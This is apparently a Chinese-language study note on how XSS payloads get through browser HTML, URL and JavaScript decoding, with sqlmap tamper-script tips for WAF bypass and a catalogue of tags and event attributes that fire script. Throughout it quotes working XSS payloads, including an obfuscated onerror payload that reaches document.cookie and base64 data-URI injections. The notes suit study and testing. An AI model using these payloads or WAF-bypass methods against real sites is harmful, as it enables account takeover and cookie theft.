xss的编码原理
把以前的笔记翻出来整理一下
最前方 xss如何选用编码原理,为什么
找到的挺清楚的文章了:https://www.cnblogs.com/p0laris/p/11898322.html
浏览器解析有两种走法,分别是HTML解析->JS解析->URL解析,还有一种走法是HTML解析->JS解析->URL解析->JAVASCRIPT解析,那我们要知道怎么触发第二项呢:由url解析器进行判断,从而确定是是否使用javascript解析器,例如%6A%61%76%61%73%63%72%69%70%74:%61%6C%65%72%74%28%31%29这一段是JavaScript:alert(1)但是此时我们的这段语句经过了HTML解析器和JS解析器来到了URL解析器,但是由于此时我们是全编码的,URL编码器判断他为正常的五类型,而不会使用JS编码器,而需要我们改为javascript:%61%6C%65%72%74%28%31%29这样url编码器看到才会判断出js代码从而发送到JS解析器成功返回xss语句,在尝试当中尽管看起来两者返回的效果都是一样的,但是前者只是单纯的文本罢了。
下方概括:
https://www.freebuf.com/articles/web/54686.html
常见的SQL编码有unicode、HEX、URL、ascll、base64等,XSS编码有:HTML、URL、ASCII、JS编码、base64,unicode等等。
回车、换行只在属性中引号里才会起作用。如果你对标签或者属性用
回车、换行,这时你大可放心,决对不会弹窗。而且在属性值里
回车、换行随便用。如果空格出现在xss代码里并不会弹窗,但是如果出现在字符和符号之前,就可以弹了。
注意事项:跳过回车和换行,不支持on事件。例如下面的代码
sql绕waf
替代空格脚本space2mssqlblank.py和space2mysqlblank.py,此外,如果有的应用是用
ASP / ASP.NET 编写的话,则 charunicodeencode.py 和 percentage.py
脚本就可以用于隐藏真正有效的 payload。
如果 Web 应用的 URL 由于某些原因解码了请求,则 chardoubleencode.py 脚本就可以派上用场。
接下来我们有一些乱码的脚本:charencode.py
和 chardoubleencode.py 。这些脚本对于绕过不同的关键字过滤非常有用,例如,当检测到 table_name 且无法绕过它时。
第一个脚本是space2hash.py和space2morehash.py,它们可以与 MySQL
一起使用(依然没有在MSSQL上进行尝试)。这些脚本将所有空格替换为使用随机文本来截断注释,脚本的扩展版本(space2morehash.py)还将在某些函数名称和括号之间添加注释。
参数污染:https://zhuanlan.zhihu.com/p/75458595
unicode
https://www.cnblogs.com/tsingke/p/10853936.html
七零八落随笔知识
在sql注入当中我们使用+代替空格,其实+在浏览器服务器解析为空格,+本身放到sql数据中是无法被执行的。(在xss的搜索栏,有事我们也可以使用+,即)
二次编码:原本我以为的二次编码是对于url进而两次加密,即%25%32%37,其实不是这样的因为当我发现%25的时候突然察觉到并不简单因为他的url转码为%号,所以正确的应该是%2527->%27->',就是这样,原因也就是有些waf并未对参数进行解码,而后面程序处理业务时会进行解码,所以就相当于只解了一次码,而二次编码本来的应用是为了解决因为有时从客户端提交的URL无法确定是何种编码,可能服务器选择的编码方式不匹配,则会造成中文乱码。为了解决这个问题。
unicode编码:Unicode编码可以在js中先被解析,再作为命令执行,而在html上下文中,unicode不会被解析,会直接作为字符串输出。JavaScript的String.fromCharCode(numX),其中numX为Unicode值(十进制),此方法需和eval联合使用。
例如:<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script><script>alert(String.fromCharCode(49,49))</script> //此处我试验是能弹窗的,上一个没有<a href="javascript:alert('xss')">link</a> HTML编码:形式:“&#”加上十进制、16进制的ASCII码或Unicode编码, 例如:<img src=#οnerrοr="alert(2)">这样在浏览器当中就会变成<img src="#οnmouseover="alert(2)"">,对于16进制的html,那么我们转换第一个a即<img src=#οnmouseover="alert(2)"> 他转换出来的效果是同上的
具体例子(网上找到的一组示例非常详细了,可以自己搭建试一下)
| 1 | 2 | |
|---|---|---|
| 源代码 | <a href=javascript:alert('a')>code</a> |
<a href=j%61vascript:alert('%61')>code</a> |
| 显示 | <a href="javascript:alert('a')">code</a> |
<a href="j%61vascript:alert('%61')">code</a> |
| 二次显示 | ![]() |
无法访问403 |
| 解释 | 第一次做了HTML解码; | 一次显示没有解码;超链接伪协议不完整,不会触发js弹窗; |
| 3 | 4 | |
| 源代码 | <a href=javascript:%61lert('%61')>code</a> |
<a href=javascript:alert('\x61')>code</a> |
| 显示 | <a href="javascript:%61lert('%61')">code</a> |
<a href="javascript:alert('\x61')">code</a> |
| 二次显示 | ![]() |
![]() |
| 解释 | 二次显示说明执行了URL解码,对比2,伪协议完整,本身没有编码,对后面进行URL解码; | 一次显没有解码;二次显示做了JS解码; |
| 5作废作废作废 | 6 | |
| 源代码 | <a href=javascript:alert('\x25\x06\x01')>code</a> |
|
| 显示 | <a href="javascript:alert('\x25\x06\x01')">code</a> |
|
| 二次显示 | ![]() |
|
| 解释 | 对比7 | |
| 7 | 8 | |
| 源代码 | <a href=javascript:alert('%5c%78%36%31')>code</a> |
<a href=javascript:alert('a')>code</a> |
| 显示 | <a href="javascript:alert('%5c%78%36%31')">code</a> |
<a href="javascript:alert('a')">code</a> |
| 二次显示 | ![]() |
![]() |
| 解释 | 二次显示做了URL和JS的解码,并且解码顺序为先URL后JS | 一次显示执行了HTML解码,二次显示没有解码; |
on属性标签
body:
onscroll:鼠标滚轮滑动时触发。
onload:页面结束加载之后触发。
onerror:在错误发生时运行的脚本。
background:后接javascript代码。
script:
scr:链接一个外部脚本文件,以 .js 为后缀保存。
onerror:在错误发生时运行的脚本。
string.fromCharCode(***))
img:在img标签里SRC几乎是必有的,你可以加个#然后再去使用其他的属性如onmouserover。
SRC:链接一个外部脚本文件,以 .js 为后缀保存。
LOWSRC:lowsrc 属性可设置或返回图像的低分辨率版本的 URL。
DYNSRC:dynsrc可以用来插入各种多媒体.
onerror:在错误发生时运行的脚本。同时可以与location连用进行绕过onerror=location="javascr"+"ipt:al"+"ert%28docu"+"ment.co"+"okie%29"
onmouserover:鼠标指针移动到图片后执行Javascript代码。
td:
background:后接javascript代码。
a:
onmouserover:鼠标指针移动到图片后执行Javascript代码。
href:javascript:document.location='http://www.google.com。
meta:
embed:
src:链接一个外部脚本文件,以 .js 为后缀保存。
例子:<EMBEDSRC="data:image/svg+xml;base64,PHN2ZyB4bWxucz=="type="image/svg+xml"AllowScriptAccess="always">
input: src:链接一个外部脚本文件,以 .js 为后缀保存。
onfocus:点击的时候发生,配上autofocus。
onblur:onblur 事件会在对象失去焦点时发生。
link:
href:javascript脚本,例如<LINKREL="stylesheet"HREF="javascript:alert('XSS');">
div:
onmouserover:鼠标指针移动到图片后执行Javascript代码。
style:background-image: url(javascript:alert('XSS')).
onclick:onclick 事件会在对象被点击时发生。
expression:把CSS属性和Javascript表达式关联起来,例:<DIVSTYLE="width: expression(alert('XSS'));">
object:
同embed<objectdata=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=>
button:
onclick:onclick 事件会在对象被点击时发生。
onfocus:点击的时候发生,配上autofocus。
ormaction:ormaction属性覆盖 form 元素的 action 属性。
该属性适用于 type="submit" 以及 type="image"。
p:
onmouserover:鼠标指针移动到图片后执行Javascript代码。
var:
onmouserover:鼠标指针移动到图片后执行Javascript代码。
marquee:
onstart:onStart():是activity界面被显示出来的时候执行。
isindex:
src+onerror:<isindextype=imagesrc=1onerror=alert(1)>
action+type=image:<isindexaction=javascript:alert(1)type=image>
select:
onfocus:点击的时候发生,配上autofocus。
textarea:
onfocus:点击的时候发生,配上autofocus。
keygen:
onfocus:点击的时候发生,配上autofocus。
svg:
onload:
onload:页面结束加载之后触发。
math:
herf:<mathhref="javascript:javascript:alert(1)">CLICKME
vedio:
onerror+src:<videosrc=xonerror=alert(48)>。
同上。
xss的编码原理的更多相关文章
- Atitit. Xss 漏洞的原理and应用xss木马
Atitit. Xss 漏洞的原理and应用xss木马 1. XSS漏洞1 2. XSS的用途2 2.1. 盗取cookie2 2.2. 刷新流量 刷分3 2.3. DOS 窃取隐私”.“假冒身份”. ...
- BASE64编码原理分析脚本实现及逆向案例
在互联网中的每一刻,你可能都在享受着Base64带来的便捷,但对于Base64的基础原理你又了解多少?今天小编带大家了解一下Base64编码原理分析脚本实现及逆向案例的相关内容. 01编码由来 数 ...
- 一篇文章彻底弄懂Base64编码原理
在互联网中的每一刻,你可能都在享受着Base64带来的便捷,但对于Base64的基础原理又了解多少?今天这篇博文带领大家了解一下Base64的底层实现. Base64的由来 目前Base64已经成为网 ...
- Base64图片编码原理,base64图片工具介绍,图片在线转换Base64
Base64图片编码原理,base64图片工具介绍,图片在线转换Base64 DataURI 允许在HTML文档中嵌入小文件,可以使用 img 标签或 CSS 嵌入转换后的 Base64 编码,减少 ...
- Spark MLlib特征处理:OneHotEncoder OneHot编码 ---原理及实战
http://m.blog.csdn.net/wangpei1949/article/details/53140372 Spark MLlib特征处理:OneHotEncoder OneHot编码 - ...
- 无线通信中FEC 编码原理及评价
转自:http://blog.csdn.net/wiznet2012/article/details/7492146 大家好,前面我们给大家介绍了无线通信中FEC编码原理(1)和(2),今天继续献上F ...
- 4B/5B编码原理
4B/5B编码原理 什么是4B/5B编码? 4B/5B编码是百兆以太网(即快速以太网)中线路层编码类型之一,就是用5bit的二进制数来表示4bit二进制数,映射方式如下表所示: 为什么要进行4B/5B ...
- Atitit.Base64编码原理与实现设计
Atitit.Base64编码原理与实现设计 1. Base64编码1 1.1. 为什么要用自己的base64编码方案1 2. Base64编码由来1 3. Base64编码原理1 3.1. 具体来说 ...
- Atitit.字节数组转字符串 base64 base16 Quoted-printable 编码原理设计 attilax 总结
Atitit.字节数组转字符串 base64 base16 Quoted-printable 编码原理设计 attilax 总结 1. Base64编码, 1 2. Base64实现转换原理1 3. ...
随机推荐
- Understanding dopamine and reinforcement learning: The dopamine reward prediction error hypothesis
郑重声明:原文参见标题,如有侵权,请联系作者,将会撤销发布! Abstract 在中脑多巴胺能神经元的研究中取得了许多最新进展.要了解这些进步以及它们之间的相互关系,需要对作为解释框架并指导正在进行的 ...
- Java小菜求职记-以前在Dubbo踩的坑,这次全被问到了,这下舒服了
前传 小林求职记(五)上来就一连串的分布式缓存提问,我有点上头.... 终于,在小林的努力下,获得了王哥公司那边的offer,但是因为薪水没有谈妥,小林又重新进入了求职的旅途,在经历了多次求职过程之后 ...
- HTTP/3 来了,你了解它么?
作为我们网上冲浪最为常见,也经常被人忽视的 HTTP 已经更新换代到了 HTTP/3.本文简单明了的带你认识 HTTP/3 的作用. 最近二狗子看到自己存储女神婷婷照片所用的云服务商--又拍云推出了 ...
- Vue 通过调用百度API获取地理位置-经度纬度省份城市
一.首先在百度api注册获得ak密钥 二.新建js文件,我命名为loadBMap.js,里面创建script,代码如下: /** * 加载地图 * @param {Function} callback ...
- lynx浏览器使用教程
http://www.wocaoseo.com/thread-216-1-1.html LYNX浏览器是谷歌官方推荐的一款文本浏览器,主要用来模拟蜘蛛看到您页面时候的样子,谷歌在网站站长指南中提到: ...
- Java集合 Collection、Set、Map、泛型 简要笔记
集合 什么是集合 概念 对象的容器,实现了对对象常用的操作 和数组的区别 数组长度固定,集合长度不固定 数组可以存储基本类型和引用类型,集合只能存储引用类型 位置 java.util.*; Colle ...
- 读Twinsen的深入探索透视投影变换
2017.10.16更新,分割线下面是以前的文字,有表达的意思,却言不达意,实属羞耻,看官只需看前面文字即可. Twinsen大神的<深入探索透视投影变换>有几个点说得不够清晰,我这里提一 ...
- PHP木马免杀的一些总结
前言 这篇文章写一些php木马免杀的一些技巧,希望对大家有点帮助.这里解释一下什么是php木马,这里大体分为三种: 能完成写入文件.列目录.查看文件.执行一些系统命令等少量功能的,这种的是" ...
- burpsuite破解版2.0.11下载和部署
Burpsuite破解版下载: 链接:https://pan.baidu.com/s/1qVdrCogMN5OrEa8_zrXcEg 提取码:k7cb 一.安装步骤: 1.双击打开注册机 2.点击Ru ...
- 吴恩达《深度学习》-课后测验-第一门课 (Neural Networks and Deep Learning)-Week 3 - Shallow Neural Networks(第三周测验 - 浅层神 经网络)
Week 3 Quiz - Shallow Neural Networks(第三周测验 - 浅层神经网络) \1. Which of the following are true? (Check al ...





